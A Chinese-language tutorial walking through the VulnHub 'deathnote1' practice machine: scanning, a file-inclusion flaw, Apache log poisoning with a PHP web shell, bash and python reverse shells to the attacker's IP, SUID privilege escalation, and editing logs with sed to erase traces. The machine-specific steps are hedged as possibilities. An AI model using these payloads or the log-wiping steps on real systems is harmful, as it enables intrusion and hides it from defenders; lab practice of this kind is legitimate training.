1. 项目概述:从“死亡笔记”到渗透实战的敲门砖
如果你刚接触网络安全,尤其是渗透测试,面对网上琳琅满目的教程和靶机,可能会感到无从下手。deathnote1这个靶机,在 VulnHub 社区里算是一个经典的入门级靶场,名字虽然有点中二,但内容设计得相当友好,非常适合新手用来建立渗透测试的完整流程感。它不是那种上来就让你用复杂漏洞的“劝退机”,而是像一本循序渐进的“死亡笔记”,引导你一步步发现目标、收集信息、利用弱点,最终拿到最高权限。这个过程,正是渗透测试的核心思维:信息收集、漏洞分析、漏洞利用、权限提升和报告撰写。今天,我就以这个靶机为例,结合 Kali Linux 这个渗透测试者的“瑞士军刀”,带你走一遍完整的渗透流程,并分享一些只有踩过坑才知道的细节和技巧。
2. 环境搭建与靶机配置
2.1 Kali Linux 渗透平台准备
工欲善其事,必先利其器。Kali Linux 是我们进行渗透测试的主要平台。对于新手,我强烈建议在虚拟机(如 VMware Workstation 或 VirtualBox)中安装 Kali,这样既安全又方便快照回滚。下载官方镜像时,务必从offensive-security.com官网获取,避免第三方镜像被植入后门。安装过程选择默认的“图形化安装”即可,语言建议选英文,可以避免后续一些工具出现乱码。安装完成后,第一件事不是急着攻击,而是做好基础配置。
首先是更新源和系统。Kali 默认的源在国内访问可能较慢,我们可以换成国内的镜像源,比如阿里云或中科大的源。编辑/etc/apt/sources.list文件,将原有的源注释掉,添加新的源地址。换源后执行sudo apt update && sudo apt upgrade -y进行更新。这个步骤很重要,能确保你使用的工具都是最新版,避免因工具版本过旧而无法利用某些漏洞。
其次是网络配置。确保你的 Kali 虚拟机网络适配器设置为“桥接模式”或与靶机同在一个“仅主机模式”的虚拟网络中。这样 Kali 和靶机才能互相通信。你可以用ip addr命令查看 Kali 获取到的 IP 地址。最后,安装一些可能用到的额外工具,比如seclists(一个包含常用字典的集合)和gobuster(目录扫描工具),可以用sudo apt install seclists gobuster来安装。
2.2 Deathnote1 靶机导入与网络发现
从 VulnHub 网站下载deathnote1的 OVA 或虚拟机文件。通常下载下来是一个压缩包,解压后得到.ova或一组.vmdk等文件。在 VMware 中,直接选择“文件”->“打开”,找到.ova文件导入即可。导入时,同样将靶机的网络设置为与 Kali 相同的模式(比如都是“仅主机模式”)。
启动靶机后,我们首先需要找到它在网络中的位置。靶机通常不会主动告诉我们它的 IP 地址,这就需要我们进行网络扫描。最常用的工具是nmap。在 Kali 中打开终端,我们先确定自己 Kali 的 IP 段。假设 Kali 的 IP 是192.168.1.105,那么同网段可能就是192.168.1.0/24。
我们可以使用一个快速的 ping 扫描来发现存活主机:
sudo nmap -sn 192.168.1.0/24-sn参数表示只进行 Ping 扫描,不进行端口扫描,速度很快。扫描结果中,除了你自己的 Kali 和网关,那个陌生的 IP 地址很可能就是deathnote1靶机。记下这个 IP,假设它是192.168.1.120。为了保险起见,最好再对目标 IP 做一个详细的端口扫描,以确认它确实是我们想要的靶机,并了解其开放的服务。
3. 信息收集与漏洞侦查
3.1 全面的端口与服务探测
找到目标 IP 后,下一步就是进行详细的端口扫描,这是信息收集阶段最关键的一步。我们可以使用 Nmap 的全面扫描:
sudo nmap -sV -sC -O -p- 192.168.1.120这个命令参数比较全:
-sV: 探测服务版本。-sC: 使用默认的 Nmap 脚本进行扫描,能发现一些常见漏洞和信息。-O: 尝试识别操作系统。-p-: 扫描所有 65535 个端口。
扫描结果可能会显示开放了以下几个关键端口:
- 端口 80/tcp: HTTP 服务。这通常是一个 Web 应用,是渗透测试中最常见的入口点。
- 端口 22/tcp: SSH 服务。安全外壳协议,如果拿到凭证,可以直接远程登录。
- 可能还有其他端口,如 21(FTP)、25(SMTP)等,具体以扫描结果为准。
注意:
-p-全端口扫描非常耗时,在实战中需要权衡时间。对于 CTF 或靶场,可以先快速扫描常见端口-p 1-1000,如果没有发现,再进行全端口扫描。
3.2 Web 应用深度信息收集
既然开放了 80 端口,我们自然要从 Web 入手。首先,用浏览器直接访问http://192.168.1.120。初步浏览网站,查看页面源代码,注意是否有注释、隐藏链接、JS 文件泄露的路径等信息。同时,使用浏览器开发者工具(F12)查看网络请求和响应头,有时能发现一些线索,比如服务器类型、框架信息等。
接下来,使用工具进行更深入的枚举。gobuster是一个高效的目录和文件爆破工具。我们可以用它来寻找隐藏的目录、后台登录页面、配置文件等。
gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bakdir: 指定目录扫描模式。-u: 指定目标 URL。-w: 指定字典文件。这里使用了dirb工具自带的常见字典。-x: 指定要尝试的文件扩展名。
扫描结果可能会发现一些有趣的路径,比如/admin、/backup、/robots.txt、/index.php等。robots.txt文件尤其需要关注,它有时会暴露出不想被爬取的敏感目录。同时,我们也可以用nikto或whatweb对网站进行漏洞扫描和指纹识别:
whatweb http://192.168.1.120 nikto -h http://192.168.1.120whatweb会告诉我们网站使用的技术,比如 PHP 版本、Web 服务器(Apache/Nginx)版本等。nikto则会进行一系列已知漏洞的检查,可能会直接给出一些低危漏洞的提示,这些都可能成为突破口。
4. 漏洞分析与利用突破
4.1 发现并利用文件包含漏洞
在对deathnote1靶机的 Web 应用进行深入测试时,一个非常经典的漏洞类型——文件包含(File Inclusion)常常会出现。文件包含漏洞允许攻击者将服务器上的本地文件(Local File Inclusion, LFI)甚至远程文件(Remote File Inclusion, RFI)包含到当前页面中执行。这可能导致敏感信息泄露(如/etc/passwd)、源代码查看,甚至结合其他漏洞实现远程代码执行。
如何发现呢?在浏览或使用gobuster发现的页面时,要特别留意 URL 参数。例如,你可能会看到一个链接类似于http://192.168.1.120/view.php?file=notice.txt。这里的file参数就非常可疑。我们可以尝试进行路径遍历(Directory Traversal)攻击,测试它是否过滤不严。
首先,尝试读取系统关键文件:
http://192.168.1.120/view.php?file=../../../../etc/passwd如果页面上显示了/etc/passwd文件的内容,那么 LFI 漏洞就坐实了。/etc/passwd文件包含了系统所有用户的信息,虽然密码现在都存在/etc/shadow,但这个文件能让我们知道系统上有哪些用户,为后续的暴力破解或权限提升提供用户名列表。
更进一步,我们可以尝试利用 PHP 的封装协议。PHP 支持一些特殊的 URL 封装协议,比如php://filter可以用来读取文件源码,这在无法直接看到源码时非常有用:
http://192.168.1.120/view.php?file=php://filter/convert.base64-encode/resource=view.php这个请求会以 Base64 编码的形式返回view.php文件的源代码。我们将得到的 Base64 字符串解码,就能分析view.php的代码逻辑,可能发现其他漏洞或隐藏功能。这是 LFI 漏洞利用中一个非常关键的技巧。
4.2 通过日志注入实现命令执行
单纯的 LFI 只能读文件,我们的目标是拿到系统 shell。一个经典的提权思路是日志文件注入。Web 服务器(如 Apache)会将访问日志记录在文件中,例如/var/log/apache2/access.log。这个日志文件会记录每个 HTTP 请求的细节,包括 User-Agent 头。
如果我们能通过 LFI 漏洞读取这个日志文件,并且我们又能控制 User-Agent 的内容,那么我们就可以将 PHP 代码写入日志文件,然后再通过 LFI 去包含这个日志文件,从而执行代码。具体步骤如下:
- 确认日志路径:首先通过 LFI 漏洞尝试读取常见的日志路径,如
/var/log/apache2/access.log、/var/log/apache/access.log、/var/log/httpd/access_log等,找到可读的日志文件。 - 注入 PHP 代码:使用 Burp Suite 或
curl命令,发送一个 HTTP 请求,并将 User-Agent 头设置为一段 PHP 代码。例如,我们想执行系统命令id。
这条命令会向靶机首页发起请求,并将 User-Agent 设置为curl -A "<?php system(\$_GET['cmd']); ?>" http://192.168.1.120/<?php system($_GET['cmd']); ?>。这段代码会被记录到access.log中。 - 通过 LFI 包含日志并执行命令:现在,我们利用原来的 LFI 漏洞,去包含这个日志文件,并通过
cmd参数传递要执行的命令。
如果一切顺利,页面将不会显示杂乱的日志内容,而是会执行http://192.168.1.120/view.php?file=../../../../var/log/apache2/access.log&cmd=idid命令并返回结果(如uid=33(www-data) gid=33(www-data) groups=33(www-data))。这说明我们已经成功实现了远程代码执行(RCE)!
实操心得:日志注入的成功率取决于多个因素:日志文件路径正确、Web 进程有读日志文件的权限、日志文件内容未被转义。有时需要多次尝试不同的日志路径。如果默认路径不行,可以尝试通过 LFI 读取
/proc/self/environ(环境变量)或/proc/self/fd/下的文件描述符,有时也能找到有用的信息。
5. 权限提升与最终控制
5.1 建立稳定的反向 Shell
通过日志注入执行命令是成功了,但这种方式是“一次性”的,每次执行命令都要重新构造 URL,很不方便。我们需要建立一个反向 Shell(Reverse Shell),让靶机主动连接回我们 Kali 上的监听端口,从而获得一个交互式的命令行环境。
首先,在 Kali 上使用netcat监听一个端口,比如 4444:
nc -lvnp 4444参数解释:-l监听,-v详细输出,-n不解析域名,-p指定端口。
然后,在能够执行命令的漏洞点,让靶机执行一条反向 Shell 命令。根据靶机系统环境,命令有所不同。对于 Linux 靶机,常用的是:
bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1' # 或者使用 python python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.105",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'将上述命令中的192.168.1.105替换为你 Kali 的实际 IP。通过漏洞点(如&cmd=python3 -c ...)触发这条命令后,你应该能在 Kali 的nc终端看到连接建立,并获得一个www-data用户的 shell。
这个 shell 通常是不稳定的(比如按 Ctrl+C 会中断),我们需要把它升级为一个功能完整的 TTY shell:
# 在获得的 reverse shell 中依次执行 python3 -c 'import pty; pty.spawn("/bin/bash")' # 按 Ctrl+Z 挂起当前进程 # 在 Kali 终端中输入: stty raw -echo; fg # 然后按回车 export TERM=xterm完成这些步骤后,你就获得了一个支持命令历史、Tab 补全等功能的稳定 shell。
5.2 本地提权至 Root 用户
现在我们拿到了www-data用户的 shell,这是 Web 服务运行的低权限账户。最终目标是获得最高权限root。这个过程称为本地权限提升(Privilege Escalation)。
首先,进行系统信息收集:
whoami id uname -a cat /etc/os-release查看当前用户和组,以及系统内核版本。然后,寻找有 SUID 权限的特殊文件。SUID 文件在执行时,会以文件所有者的身份运行。如果root拥有的某个 SUID 程序存在漏洞,我们就可以利用它来提权。
find / -perm -u=s -type f 2>/dev/null这条命令会在全盘查找 SUID 文件,并将错误信息(如权限不足)丢弃。在结果中,要特别关注一些常见的、已知存在提权漏洞的程序,如find、nmap(旧版本)、vim、bash、cp、mv等。
例如,如果发现/usr/bin/find有 SUID 位且属于 root,我们可以利用它来提权:
/usr/bin/find . -exec /bin/bash -p \;-exec参数会让find执行后面的命令,而由于find具有 SUID root 权限,它执行的/bin/bash -p也会以 root 权限运行,-p参数表示保留特权模式。执行后,输入whoami,应该显示root。
除了 SUID,还要检查是否有任何用户可以以 root 身份无需密码执行命令(sudo 权限):
sudo -l如果www-data用户被配置了某些命令的 sudo 权限,并且配置不当,也可能直接提权。另外,检查计划任务(crontab)也是常用手段:
cat /etc/crontab ls -la /etc/cron.*/查看是否有任何以 root 权限定期运行的任务,并且任务对应的脚本或目录我们是否有写入权限。如果有,我们可以写入恶意代码,等待计划任务执行即可获得 root shell。
在deathnote1靶机中,经过枚举,你可能会发现一个关键的 SUID 文件或者一个配置错误的计划任务脚本。利用它,最终执行sudo su或su root,输入发现的密码(或者通过漏洞直接获取 root shell),即可成功提权到 root。拿到 root 权限后,最后的“战利品”通常位于/root目录下,可能是一个flag.txt或proof.txt文件,读取它即标志着整个渗透测试的完成。
6. 渗透后清理与总结反思
6.1 痕迹清理与报告要点
在真实的渗透测试授权项目中,拿到 flag 并不是终点。作为专业的白帽子,我们还需要考虑清理痕迹,避免给客户系统留下后门或干扰。但在 CTF 或 VulnHub 靶场中,这一步通常可以省略,因为环境本身就是用来破坏和学习的。不过,了解该做什么是有益的。
如果需要清理,主要关注以下几点:
- 删除或修改日志:清除我们在
access.log、auth.log等日志文件中留下的攻击记录。注意,直接删除整个日志文件行为太明显,更好的方法是使用sed等工具删除包含我们 IP 或特定字符串的行。 - 删除上传的 Webshell 或后门文件:如果通过文件上传等方式留下了后门,需要将其删除。
- 恢复被修改的配置:如果为了提权修改了某些系统配置(如
/etc/passwd),在授权测试结束后应恢复原状。 - 关闭建立的后门连接:结束我们建立的反向 Shell 进程。
更重要的是撰写渗透测试报告。报告需要清晰记录每一步:信息收集发现了什么(IP、端口、服务版本)、漏洞分析过程(如何发现 LFI)、漏洞利用细节(Payload、利用链)、权限提升方法、访问的关键数据(Flag 内容)、以及修复建议。修复建议要具体,例如针对发现的 LFI 漏洞,应建议对用户输入进行严格过滤,禁止目录遍历字符(../),或使用白名单机制限制包含的文件。
6.2 常见问题排查与避坑指南
在实际操作deathnote1或类似靶机时,新手常会遇到一些问题:
- 扫描不到靶机 IP:检查虚拟网络设置,确保攻击机和靶机在同一网段(如都是 VMnet1 仅主机模式)。可以尝试在 Kali 中用
arp-scan -l扫描局域网内所有 MAC 地址。关闭防火墙(在靶机或主机上)有时也能解决问题。 - LFI 漏洞利用失败,读取
/etc/passwd显示空白或错误:可能是路径深度不对。多尝试几层../,如../../../../../etc/passwd。也可能是 WAF 或简单的过滤机制。尝试 URL 编码绕过,如..%2f..%2f代表../。或者使用绝对路径/etc/passwd试试。 - 日志注入失败,包含
access.log后页面显示乱码但不执行代码:首先确认日志路径是否正确。其次,查看日志内容是否被 HTML 转义。可以查看网页源代码,看看我们注入的 PHP 代码是否被原样显示成了文本。如果被转义,可以尝试其他注入点,如X-Forwarded-For头部,或者寻找其他可写的日志文件(如 SSH 登录日志/var/log/auth.log)。 - 反向 Shell 连接不上:检查 Kali 监听的 IP 和端口是否正确,防火墙是否放行了该端口(在靶场环境通常不用管)。确认 Payload 中的 IP 和端口与监听器一致。尝试使用不同语言的反向 Shell Payload(如 bash、python、perl、php),因为目标系统环境可能缺少某些解释器。
- 提权枚举没有发现明显漏洞:信息收集要更全面。上传
linpeas.sh或linux-exploit-suggester.sh等自动化提权脚本到靶机,运行后能给出非常详细的提权建议。检查内核版本,搜索是否有公开的本地提权漏洞(Exploit)。检查sudo -l的输出,看看是否有不被注意到的命令可以利用。
这个靶机之旅,核心不是记住那几个命令,而是理解背后的链条:发现入口(Web)-> 信息收集(扫描、枚举)-> 漏洞挖掘(LFI)-> 漏洞利用(日志注入RCE)-> 建立据点(反向Shell)-> 权限提升(SUID/计划任务)-> 达成目标(获取Flag)。每个环节都有多种工具和方法,思路比工具本身更重要。多练几个像deathnote1这样的初级靶机,把流程变成肌肉记忆,之后再挑战更复杂的靶场,你会发现所谓的“复杂”,不过是这些基础模块的不同组合与深化而已。